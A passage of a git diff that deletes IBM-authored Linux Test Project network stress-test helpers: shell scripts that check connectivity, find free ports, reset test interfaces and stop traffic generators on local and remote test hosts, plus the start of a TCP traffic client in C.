LTP_RSH="rsh -n" -fi - -# TMPDIR -TMPDIR=${TMPDIR:=} -if [ x"${TMPDIR}" = x ]; then - TMPDIR=/tmp -fi diff --git a/ltp/testcases/network/stress/ns-tools/check_icmpv4_connectivity b/ltp/testcases/network/stress/ns-tools/check_icmpv4_connectivity deleted file mode 100644 index 7630aae6..00000000 --- a/ltp/testcases/network/stress/ns-tools/check_icmpv4_connectivity +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# check_icmpv4_connectivity -# -# Description: -# Check the ICMPv4 connectivity from a interface to an IPv4 address -# -# Arguments: -# $1: source interface name -# $2: destination IPv4 address -# -# Returns: -# 0: connectivity is good -# 1: connectivity is someting wrong -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The max number of ICMP echo request -PING_MAX=10 - -# Check the arguments -if [ $# -ne 2 ]; then - echo "Usage: $0 source_interface_name destionation_ipv4_address" >&2 - exit 1 -fi -src_ifname=$1 -dst_ipv4addr=$2 - -cnt=0 -while [ $cnt -lt $PING_MAX ]; do - cnt=`expr $cnt + 1` - ping -I $src_ifname -c 1 $dst_ipv4addr -w 1 > /dev/null 2>&1 - if [ $? -eq 0 ]; then - exit 0 - fi - sleep 1 -done - -exit 1 diff --git a/ltp/testcases/network/stress/ns-tools/check_icmpv6_connectivity b/ltp/testcases/network/stress/ns-tools/check_icmpv6_connectivity deleted file mode 100644 index 10e432d9..00000000 --- a/ltp/testcases/network/stress/ns-tools/check_icmpv6_connectivity +++ /dev/null @@ -1,71 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# check_icmpv6_connectivity -# -# Description: -# Functions for the network stress tests -# Check the ICMPv6 connectivity from a interface to a IPv6 address -# -# Arguments: -# $1: source interface name -# $2: destination IPv6 address -# -# Returns: -# 0: connectivity is good. -# 1: connectivity is something wrong. -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The max number of ICMP echo request -PING_MAX=10 - -# Check the arguments -if [ $# -ne 2 ]; then - echo "Usage: $0 source_interface_name destionation_ipv6_address" >&2 - exit 1 -fi -src_ifname=$1 -dst_ipv6addr=$2 - -cnt=0 -while [ $cnt -lt $PING_MAX ]; do - cnt=`expr $cnt + 1` - ping6 -I $src_ifname -c 1 $dst_ipv6addr -w 1 >/dev/null 2>&1 - if [ $? -eq 0 ]; then - exit 0 - fi - sleep 1 -done - -exit 1 diff --git a/ltp/testcases/network/stress/ns-tools/check_netem b/ltp/testcases/network/stress/ns-tools/check_netem deleted file mode 100644 index 8b1a52ba..00000000 --- a/ltp/testcases/network/stress/ns-tools/check_netem +++ /dev/null @@ -1,73 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# check_netem -# -# Description: -# Check the remote host has netem functionality -# -# Arguments: -# None -# -# Returns: -# 0: netem functionality is available -# 1: not avaialble -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -# Check the tc command is available -ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH which tc >/dev/null 2>&1 ; echo $?'` -if [ $ret -ne 0 ]; then - echo "The remote host does not have tc command" - exit 1 -fi - -# Check the netem functionality -ofile=`mktemp -p $TMPDIR` -$LTP_RSH $RHOST "PATH=/sbin:/usr/sbin:$PATH tc qdisc add dev eth0 root netem help" >$ofile 2>&1 -grep -l "Usage:.*netem" $ofile >/dev/null 2>&1 -if [ $? -ne 0 ]; then - echo "The remote host does not have netem functionality" - rm -f $ofile - exit 1 -else - rm -f $ofile - exit 0 -fi diff --git a/ltp/testcases/network/stress/ns-tools/check_setkey b/ltp/testcases/network/stress/ns-tools/check_setkey deleted file mode 100644 index e3a10d0b..00000000 --- a/ltp/testcases/network/stress/ns-tools/check_setkey +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# check_setkey -# -# Description: -# Check the local/remote host has setkey command -# -# Arguments: -# None -# -# Returns: -# 0: Both host have setkey command -# 1: One or both host doesn't have setkey command -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -which setkey >/dev/null 2>&1 -if [ $? -ne 0 ]; then - echo "The local host does not have setkey command" - exit 1 -fi - -ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH which setkey >/dev/null 2>&1 ; echo $?'` -if [ $ret -ne 0 ]; then - echo "The remote host does not have setkey command" - exit 1 -fi diff --git a/ltp/testcases/network/stress/ns-tools/find_portbundle b/ltp/testcases/network/stress/ns-tools/find_portbundle deleted file mode 100644 index 6ecdcfbd..00000000 --- a/ltp/testcases/network/stress/ns-tools/find_portbundle +++ /dev/null @@ -1,128 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# find_portbundle -# -# Description: -# Find a bundle of consecutive ports -# -# Arguments: -# $1: tcp or udp -# $2: port which is the start point to check -# $3: quantity of the ports -# -# Returns: -# 0: Success -# 1: Fail -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - - -# Check argument -if [ $# -ne 3 ] ; then - echo "Usage: find_portbundle protocol start_port quantity_of_ports" >&2 - exit 1 -fi -protocol=$1 -start_port=$2 -port_quantity=$3 - -# Specify the option of the nestat command -case $protocol in - tcp) - proto_opt="-t" - ;; - udp) - proto_opt="-u" - ;; - *) - echo "$protocol is not supported" >&2 - exit 1 - ;; -esac - -# Create the open port list -port_list=`mktemp` -netstat -a -n ${proto_opt} \ - | tail -n +3 \ - | awk '{ print $4 }' \ - | sed 's/^.*://' \ - | sort -n \ - | uniq > ${port_list} - -# Search the available ports -skip=1 -min_port=$start_port -max_port=`expr $min_port + $port_quantity - 1` -if [ ${max_port} -gt 65535 ]; then - rm -f $port_list - exit 1 -fi - -while read line ; do - # Skip to the required port - if [ $skip -eq 1 ]; then - if [ $line -lt $start_port ]; then - continue - else - skip=0 - fi - fi - - # If required quantity of the port isn't available, seach in the next range - if [ $line -le $max_port ]; then - min_port=`expr $line + 1` - max_port=`expr $min_port + $port_quantity - 1` - if [ $max_port -gt 65535 ]; then - rm -f $port_list - exit 1 - fi - continue - fi - break -done < $port_list - -rm -f $port_list - -# Print the result. If required quantity is not 1, print in range expression -if [ $min_port -eq $max_port ]; then - echo "$min_port" -else - echo "$min_port-$max_port" -fi - -exit 0 diff --git a/ltp/testcases/network/stress/ns-tools/get_ifname b/ltp/testcases/network/stress/ns-tools/get_ifname deleted file mode 100644 index 14d4f020..00000000 --- a/ltp/testcases/network/stress/ns-tools/get_ifname +++ /dev/null @@ -1,103 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# get_ifname -# -# Description: -# Get the interface name which belongs to the specified test link -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# Arguments: -# $1: Set the host type to set the IPv4 address -# lhost - local host / rhost - remote host -# $2: The number of the test link -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../ ; pwd)`} -TMPDIR=${TMPDIR:-/tmp} -export LTPROOT TMPDIR - -# Check the environment variable for the test -. check_envval || exit 1 - -# Arguments -if [ $# -ne 2 ]; then - echo "Usage: $0 host_type link_num" >&2 - exit 1 -fi -host_type=$1 -link_num=$2 - -# Check the host type -case $host_type in - lhost) - hwaddrs="$LHOST_HWADDRS" - ;; - - rhost) - hwaddrs="$RHOST_HWADDRS" - ;; - - *) - echo "$0: 1st argument must be lhost or rhost" >&2 - exit 1 - ;; -esac - -# Pick HWaddr from HWaddr list -field=`expr $link_num + 1` -hwaddr=`echo $hwaddrs | cut -d ' ' -f $field` -if [ x${hwaddr} = x ]; then - echo "HWaddr list ($hwaddrs) is something wrong." >&2 - exit 1 -fi - -ip_link_show_out=`mktemp $TMPDIR/tmp.XXXXXXXX` -if [ $host_type = lhost ]; then - ip link show > $ip_link_show_out 2>&1 -else - $LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH ip link show' \ - > $ip_link_show_out 2>&1 -fi -ifname=`grep -1 -i $hwaddr $ip_link_show_out | head -n 1 | awk '{ print $2 }' | sed "s/://"` 2>/dev/null -rm -f $ip_link_show_out - -# Detect a interface name from the HWaddr -if [ x$ifname = x ]; then - echo "Interface which has $hwaddr is not found." >&2 - exit 1 -fi - -echo $ifname -exit 0 diff --git a/ltp/testcases/network/stress/ns-tools/initialize_if b/ltp/testcases/network/stress/ns-tools/initialize_if deleted file mode 100644 index d64203e4..00000000 --- a/ltp/testcases/network/stress/ns-tools/initialize_if +++ /dev/null @@ -1,89 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# initialize_if -# -# Description: -# Initialize the interface which belongs to the specified test link -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# Arguments: -# $1: Set the host type (lhost - local host | rhost - remote host) -# $2: The number of the test link -# -# Exit Value: -# 0: Exit normally -# >0: Exit abnormally -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -# Arguments -if [ $# -ne 2 ]; then - echo "Usage: $0 host_type link_num" >&2 - exit 1 -fi -host_type=$1 -link_num=$2 - -# Check the host type -if [ $host_type != lhost -a $host_type != rhost ]; then - echo "$0: 1st argumet is lhost or rhost" >$2 - exit 1 -fi - -# Define the interface name -ifname=`get_ifname $host_type $link_num` || exit 1 - -# Initialize the specified interface -command="ifconfig $ifname down mtu 1500 ; ip route flush dev $ifname ; ip addr flush dev $ifname ; ifconfig $ifname up" - -if [ $host_type = lhost ]; then - ( ifconfig $ifname down && \ - ip link set mtu 1500 dev $ifname && \ - ip route flush dev $ifname && \ - ip addr flush dev $ifname && \ - ifconfig $ifname up ) >/dev/null 2>&1 - ret=$? -else - ret=`$LTP_RSH $RHOST '( PATH=/sbin:/usr/sbin:$PATH ; ifconfig '$ifname' down && ip link set mtu 1500 dev '$ifname' && ip route flush dev '$ifname' && ip addr flush dev '$ifname' && ifconfig '$ifname' up ) >/dev/null 2>&1 ; echo $?'` -fi - -if [ $ret -gt 0 ]; then - echo "Failed to initialize $ifname" >&2 - exit 1 -fi diff --git a/ltp/testcases/network/stress/ns-tools/killall_icmp_traffic b/ltp/testcases/network/stress/ns-tools/killall_icmp_traffic deleted file mode 100644 index dfae98f9..00000000 --- a/ltp/testcases/network/stress/ns-tools/killall_icmp_traffic +++ /dev/null @@ -1,83 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# killall_icmp_traffic -# -# Description: -# Kill all of the icmp traffic utilities (ping or ping6) -# -# Arguments: -# None -# -# Returns: -# None -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -# Waiting time before outputting a warning message [sec] -WARN_WAIT=300 - - -# Send SIGINT to ping and ping6 -$LTP_RSH $RHOST "killall -SIGINT ping ping6" >/dev/null 2>&1 - -# Verify the all ping utitlities are dead. -start_epoc=`date +%s` -while true ; do - #ret=`$LTP_RSH $RHOST 'ps auxw | fgrep -v grep | grep -l [[:blank:]]ping6*[[:blank:]] >/dev/null 2>&1 ; echo $?'` - ret=`$LTP_RSH $RHOST 'ps auxw | fgrep -v grep | grep -l /ping6*[[:blank:]] >/dev/null 2>&1 ; echo $?'` - - if [ -z $ret ]; then - continue - fi - - if [ $ret -ne 0 ]; then - break - fi - - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - if [ $elapse_epoc -ge $WARN_WAIT ]; then - echo "ping command is not dead over $WARN_WAIT sec" >&2 - fi - - $LTP_RSH $RHOST "killall -SIGINT ping ping6" >/dev/null 2>&1 - sleep 1 -done diff --git a/ltp/testcases/network/stress/ns-tools/killall_tcp_traffic b/ltp/testcases/network/stress/ns-tools/killall_tcp_traffic deleted file mode 100644 index 9ae36eeb..00000000 --- a/ltp/testcases/network/stress/ns-tools/killall_tcp_traffic +++ /dev/null @@ -1,102 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# killall_tcp_traffic -# -# Description: -# Kill all of the tcp traffic utilities (ns-tcpserver, ns-tcpclient) -# -# Arguments: -# None -# -# Returns: -# None -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -# Waiting time before outputting a warning message [sec] -WARN_WAIT=300 - - -# Send SIGHUP both server and client -killall -SIGHUP ns-tcpserver >/dev/null 2>&1 -$LTP_RSH $RHOST "killall -SIGHUP ns-tcpclient" >/dev/null 2>&1 - -# Verify the server is dead. -start_epoc=`date +%s` -while true ; do - ps auxw | fgrep -v grep | fgrep -l ns-tcpserver >/dev/null 2>&1 - if [ $? -ne 0 ]; then - break - fi - - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - if [ $elapse_epoc -ge $WARN_WAIT ]; then - echo "TCP traffic server is not dead over $WARN_WAIT sec" >&2 - fi - - killall -SIGHUP ns-tcpserver >/dev/null 2>&1 - sleep 1 -done - -# Verify the client is dead. -start_epoc=`date +%s` -while true ; do - ##ret=`$LTP_RSH $RHOST 'ps auxw | fgrep -v grep | grep -l '[[:blank:]]ns-tcpclient[[:blank:]]' >/dev/null 2>&1; echo $?'` - ret=`$LTP_RSH $RHOST 'ps auxw | fgrep -v grep | grep -l '/ns-tcpclient[[:blank:]]' >/dev/null 2>&1; echo $?'` - - if [ -z $ret ]; then - continue - fi - - if [ $ret -ne 0 ]; then - break - fi - - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - if [ $elapse_epoc -ge $WARN_WAIT ]; then - echo "TCP traffic client is not dead over $WARN_WAIT sec" >&2 - fi - - $LTP_RSH $RHOST "killall -SIGHUP ns-tcpclient" >/dev/null 2>&1 - sleep 1 -done diff --git a/ltp/testcases/network/stress/ns-tools/killall_udp_traffic b/ltp/testcases/network/stress/ns-tools/killall_udp_traffic deleted file mode 100644 index 15905730..00000000 --- a/ltp/testcases/network/stress/ns-tools/killall_udp_traffic +++ /dev/null @@ -1,101 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# killall_udp_traffic -# -# Description: -# Kill all of the udp traffic utilities (ns-udpserver, ns-udpclient) -# -# Arguments: -# None -# -# Returns: -# None -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../ ; pwd)`} -export LTPROOT - -# Check the environmanet variable for the test -. check_envval || exit 1 - -# Waiting time before outputting a warning message [sec] -WARN_WAIT=300 - - -# Send SIGHUP both server and client -killall -SIGHUP ns-udpserver >/dev/null 2>&1 -$LTP_RSH $RHOST "killall -SIGHUP ns-udpclient" >/dev/null 2>&1 - -# Verify the server is dead. -start_epoc=`date +%s` -while true ; do - ps auxw | fgrep -v grep | fgrep -l ns-udpserver >/dev/null 2>&1 - if [ $? -ne 0 ]; then - break - fi - - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - if [ $elapse_epoc -ge $WARN_WAIT ]; then - tst_resm TINFO "UDP traffic server is not dead over $WARN_WAIT sec" >&2 - fi - - killall -SIGHUP ns-udpserver >/dev/null 2>&1 - sleep 1 -done - -# Verify the client is dead. -start_epoc=`date +%s` -while true ; do - #ret=`$LTP_RSH $RHOST 'ps auxw | fgrep -v grep | grep -l '[[:blank:]]ns-udpclient[[:blank:]]' >/dev/null 2>&1; echo $?'` - ret=`$LTP_RSH $RHOST 'ps auxw | fgrep -v grep | grep -l '/ns-udpclient[[:blank:]]' >/dev/null 2>&1; echo $?'` - - if [ -z $ret ]; then - continue - fi - - if [ $ret -ne 0 ]; then - break - fi - - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - if [ $elapse_epoc -ge $WARN_WAIT ]; then - tst_resm TINFO "UDP traffic client is not dead over $WARN_WAIT sec" >&2 - fi - $LTP_RSH $RHOST "killall -SIGHUP ns-udpclient" >/dev/null 2>&1 - sleep 1 -done diff --git a/ltp/testcases/network/stress/ns-tools/ns-echoclient b/ltp/testcases/network/stress/ns-tools/ns-echoclient deleted file mode 100644 index 1f318782..00000000 --- a/ltp/testcases/network/stress/ns-tools/ns-echoclient +++ /dev/null @@ -1,140 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# ns-echoclient -# -# Description: -# Send various kind of echo request -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# Options: -# -S name or IP address of the server -# -f protocol family -# 4: IPv4 -# 6: IPv6 -# -s array of packet size -# -t timeout [sec] -# -h display this usage -# -# Outputs: -# Process ID of the TCP traffic server -# -# Exit Value: -# 0: Exit normally -# >0: Exit abnormally -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -#Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -#----------------------------------------------------------------------- -# -# Function: usage -# -# Description: -# Print the usage of this script, then exit -# -# Argument -# value: exit value -# -#----------------------------------------------------------------------- -usage(){ - value=$1 - cat << EOD >&2 -ns-echoclient [OPTION] - -S name or IP address of the server - -f protocol family - 4: IPv4 - 6: IPv6 - -s array of packet size - -h display this usage -EOD - - exit $value -} - - -# -# Main -# - -family=0 - -while getopts 'S:f:s:h' opt ; do - case $opt in - 'S') - server_name=$OPTARG - ;; - 'f') - family=$OPTARG - ;; - 's') - size_array="$OPTARG" - ;; - 'h') - usage 0 - ;; - *) - echo "Unknown option" >&2 - usage 1 - ;; - esac -done - -# Check the server name -if [ x$server_name = x ]; then - echo "server name isn't specified." - usage 1 -fi - -# Define the protocol family -case $family in - 4) - ping_command="ping" - ;; - 6) - ping_command="ping6" - ;; - *) - echo "protocol family should be 4 or 6." - usage 1 - ;; -esac - -# Send the echo request -if [ x"$size_array" = x ]; then - $ping_command $server_name >/dev/null 2>&1 & -else - for size in $size_array ; do - $ping_command -s $size $server_name >/dev/null 2>&1 & - done -fi - -exit 0 diff --git a/ltp/testcases/network/stress/ns-tools/ns-tcpclient.c b/ltp/testcases/network/stress/ns-tools/ns-tcpclient.c deleted file mode 100644 index dc10d6ca..00000000 --- a/ltp/testcases/network/stress/ns-tools/ns-tcpclient.c +++ /dev/null @@ -1,346 +0,0 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) International Business Machines Corp., 2005 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ - -/* - * File: - * ns-tcpclient.c - * - * Description: - * This is TCP traffic client. - * Request connections to the server, then receive tcp segments - * - * Author: - * Mitsuru Chinen <mitch@jp.ibm.com> - * - * History: - * Oct 19 2005 - Created (Mitsuru Chinen) - *---------------------------------------------------------------------------*/ - -#include "ns-traffic.h" - -/* - * Gloval variables - */ -struct sigaction handler; /* Behavior for a signal */ -int catch_sighup; /* When catch the SIGHUP, set to non-zero */ - -/* - * Standard Header Files - */ -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <errno.h> -#include <fcntl.h> -#include <netdb.h> -#include <time.h> -#include <unistd.h> -#include <sys/socket.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <sys/wait.h> -#include <netinet/in.h> - -/* - * Function: usage() - * - * Descripton: - * Print the usage of this program. Then, terminate this program with - * the specified exit value. - * - * Argument: - * exit_value: exit value - * - * Return value: - * This function does not return. - */ -void usage(char *program_name, int exit_value) -{ - FILE *stream = stdout; /* stream where the usage is output */ - - if (exit_value == EXIT_FAILURE) - stream = stderr; - - fprintf(stream, "%s [OPTION]\n" - "\t-S\tname or IP address of the server\n" - "\t-f\tprotocol family\n" - "\t\t 4 : IPv4\n" - "\t\t 6 : IPv6\n" - 